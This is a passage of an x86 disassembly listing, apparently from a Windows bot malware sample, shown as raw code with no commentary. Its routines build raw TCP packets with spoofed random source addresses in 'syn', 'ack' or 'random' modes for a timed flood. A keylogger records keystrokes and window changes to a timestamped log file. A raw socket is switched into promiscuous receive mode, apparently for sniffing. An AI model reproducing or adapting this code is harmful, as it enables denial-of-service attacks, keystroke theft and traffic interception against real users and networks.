		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_43F668
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_43F668
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2600000h
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 25F0A51h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_417760
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax

loc_401BA1:				; CODE XREF: sub_401A76+25Dj
					; sub_401A76+26Bj
		mov	[ebp+var_24], bx
		call	sub_41730C
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43F668
		mov	[ebp+var_34], ax
		call	sub_41730C
		mov	edi, eax
		shl	edi, 10h
		call	sub_41730C
		or	edi, eax
		push	edi
		call	dword_43F668
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43F664
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43F668
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_43F6CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401CE6
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 25F0A51h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_401D0F
		jl	loc_401BA1
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_401D0F
		jmp	loc_401BA1
; ---------------------------------------------------------------------------

loc_401CE6:				; CODE XREF: sub_401A76+247j
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4262B8
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		jmp	short loc_401D12
; ---------------------------------------------------------------------------

loc_401D0F:				; CODE XREF: sub_401A76+25Bj
					; sub_401A76+269j
		mov	ebx, [ebp+arg_8]

loc_401D12:				; CODE XREF: sub_401A76+78j
					; sub_401A76+297j
		push	[ebp+var_C]
		call	dword_43F700
		pop	esi

loc_401D1C:				; CODE XREF: sub_401A76+5Bj
		call	dword_43F5C8
		mov	eax, ebx

loc_401D24:				; CODE XREF: sub_401A76+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_401A76	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D28	proc near		; CODE XREF: sub_4019D7+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41781F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41781F
		mov	edi, eax
		call	sub_41730C
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_401A76
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401D73
		push	1
		pop	eax

loc_401D73:				; CODE XREF: sub_401D28+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D82	proc near		; DATA XREF: sub_40EE72+2D38o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_424058
		call	edi
		push	eax
		call	sub_417302
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_43F6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401E4B
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_42642C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401E2B
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_401E2B:				; CODE XREF: sub_401D82+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F030Eh

loc_401E4B:				; CODE XREF: sub_401D82+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_43F648
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401EC9
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4263E4
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401EA9
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_401EA9:				; CODE XREF: sub_401D82+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 25F030Eh
		nop

loc_401EC9:				; CODE XREF: sub_401D82+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401F39
		lea	eax, [ebp+var_440]
		push	offset dword_4263B4
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401F19
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_401F19:				; CODE XREF: sub_401D82+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F030Eh

loc_401F39:				; CODE XREF: sub_401D82+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_43F668
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi
		mov	[ebp+var_30], eax

loc_401F71:				; CODE XREF: sub_401D82+430j
		call	edi
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_402235
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_43F668
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_401FE4
		call	sub_41730C
		mov	esi, eax
		shl	esi, 8
		call	sub_41730C
		add	esi, eax
		shl	esi, 8
		call	sub_41730C
		add	esi, eax
		shl	esi, 8
		call	sub_41730C
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_401FFA
; ---------------------------------------------------------------------------

loc_401FE4:				; CODE XREF: sub_401D82+233j
		push	[ebp+var_240]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_20], eax

loc_401FFA:				; CODE XREF: sub_401D82+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_402018
		call	sub_41730C
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_40201E
; ---------------------------------------------------------------------------

loc_402018:				; CODE XREF: sub_401D82+284j
		push	[ebp+var_B8]

loc_40201E:				; CODE XREF: sub_401D82+294j
		call	dword_43F668
		mov	[ebp+var_16], ax
		call	sub_41730C
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43F668
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_43F664
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40206E
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_4020CA
; ---------------------------------------------------------------------------

loc_40206E:				; CODE XREF: sub_401D82+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40208E
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_4020CA
; ---------------------------------------------------------------------------

loc_40208E:				; CODE XREF: sub_401D82+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom	; "random"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4020CA
		call	sub_41730C
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_41730C
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl

loc_4020CA:				; CODE XREF: sub_401D82+2EAj
					; sub_401D82+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_43F668
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_43F668
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_43F6CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4021B7
		inc	[ebp+arg_0]
		jmp	loc_401F71
; ---------------------------------------------------------------------------

loc_4021B7:				; CODE XREF: sub_401D82+42Bj
		push	[ebp+var_4]
		call	dword_43F700
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset dword_426344
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_402215
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_402215:				; CODE XREF: sub_401D82+46Ej
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F030Eh

loc_402235:				; CODE XREF: sub_401D82+203j
		push	[ebp+var_4]
		call	dword_43F700
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4262E4
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4022A6
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_4022A6:				; CODE XREF: sub_401D82+4FFj
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F030Eh
sub_401D82	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022C6	proc near		; CODE XREF: sub_4023A7+B4p
					; sub_4023A7+253p

var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		nop
		call	near ptr 2610000h
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		call	near ptr 2600423h
		nop
		lea	eax, [ebp+var_114]
		push	offset asc_426C1C ; "\\"
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_114]
		push	offset dword_42F688
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_114]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4179A8
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_40232D
		push	1
		pop	eax
		jmp	short loc_4023A4
; ---------------------------------------------------------------------------

loc_40232D:				; CODE XREF: sub_4022C6+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_417956
		push	esi
		call	sub_417900
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_4023A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset dword_426BDC
		push	200h
		push	eax
		call	sub_41782A
		push	0
		lea	eax, [ebp+var_314]
		push	[ebp+arg_8C]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h

loc_4023A2:				; CODE XREF: sub_4022C6+A3j
		xor	eax, eax

loc_4023A4:				; CODE XREF: sub_4022C6+65j
		pop	esi
		leave
		retn
sub_4022C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4023A7	proc near		; DATA XREF: sub_40EE72+1F95o

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_4DC		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
var_2DC		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	dword_43F5F0
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43F604
		mov	ebx, 200h

loc_402402:				; CODE XREF: sub_4023A7+2C7j
		push	8
		call	near ptr 26003D2h
		nop
		call	dword_43F5F0
		cmp	eax, [ebp+var_8]
		jz	short loc_40248A
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43F604
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_4172B0
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022C6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch

loc_40248A:				; CODE XREF: sub_4023A7+6Cj
		mov	[ebp+arg_0], offset aB ; "b"

loc_402491:				; CODE XREF: sub_4023A7+2BDj
		push	10h
		call	dword_43F548
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	dword_43F634
		test	ah, 80h
		jz	short loc_402529
		push	14h
		call	dword_43F548
		test	ax, ax
		jz	short loc_4024DA
		cmp	esi, 0FFFFFFFFh
		jle	short loc_4024DA
		cmp	edi, 40h
		jle	short loc_4024DA
		cmp	edi, 5Bh
		jge	short loc_4024DA
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_4024DA:				; CODE XREF: sub_4023A7+112j
					; sub_4023A7+117j ...
		push	14h
		call	dword_43F548
		test	ax, ax
		jz	short loc_402505
		test	esi, esi
		jge	short loc_402519
		cmp	edi, 40h
		jle	short loc_402505
		cmp	edi, 5Bh
		jge	short loc_402505
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_402505:				; CODE XREF: sub_4023A7+13Ej
					; sub_4023A7+147j ...
		test	esi, esi
		jge	short loc_402519
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_402519:				; CODE XREF: sub_4023A7+142j
					; sub_4023A7+160j
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_402529:				; CODE XREF: sub_4023A7+105j
		mov	esi, [ebp+edi*4+var_8DC]
		lea	eax, [ebp+edi*4+var_8DC]
		test	esi, esi
		jz	loc_402659
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2DC]
		cmp	edi, 8
		push	eax
		jnz	short loc_402561
		call	sub_417AB0
		and	[ebp+eax+var_2DD], 0
		pop	ecx
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_402561:				; CODE XREF: sub_4023A7+1A5j
		call	sub_417AB0
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_402593
		call	dword_43F5F0
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43F604
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_4025D4
; ---------------------------------------------------------------------------

loc_402593:				; CODE XREF: sub_4023A7+1C5j
		cmp	edi, 0Dh
		jnz	loc_40262B
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jz	loc_402659
		call	dword_43F5F0
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43F604
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"

loc_4025D4:				; CODE XREF: sub_4023A7+1EAj
		lea	eax, [ebp+var_4DC]
		push	eax
		call	sub_4172B0
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022C6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		jmp	short loc_402659
; ---------------------------------------------------------------------------

loc_40262B:				; CODE XREF: sub_4023A7+1EFj
		cmp	esi, 1
		jz	short loc_402644
		cmp	esi, 3
		jz	short loc_402644
		cmp	esi, 2
		jz	short loc_40263F
		cmp	esi, 4
		jnz	short loc_402659

loc_40263F:				; CODE XREF: sub_4023A7+291j
		push	[ebp+arg_0]
		jmp	short loc_40264B
; ---------------------------------------------------------------------------

loc_402644:				; CODE XREF: sub_4023A7+287j
					; sub_4023A7+28Cj
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax

loc_40264B:				; CODE XREF: sub_4023A7+29Bj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4179D0
		pop	ecx
		pop	ecx

loc_402659:				; CODE XREF: sub_4023A7+12Ej
					; sub_4023A7+159j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_426BA4
		jl	loc_402491
		cmp	[ebp+var_4], 0
		jz	loc_402402
		push	[ebp+var_D8]
		call	sub_417078
		pop	ecx
		push	0
		call	near ptr 25F030Eh
		nop
sub_4023A7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402688	proc near		; DATA XREF: sub_40EE72+1DDBo

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_417B30
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_43F668
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_40275D
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_427604
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402740
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_402740:				; CODE XREF: sub_402688+96j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 25F030Eh
		nop

loc_40275D:				; CODE XREF: sub_402688+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_4450CC[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_43F694
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4027E2
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_4275C0
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4027BE
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_4027BE:				; CODE XREF: sub_402688+114j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43F700
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 25F030Eh

loc_4027E2:				; CODE XREF: sub_402688+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_43F614
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402865
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_427578
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
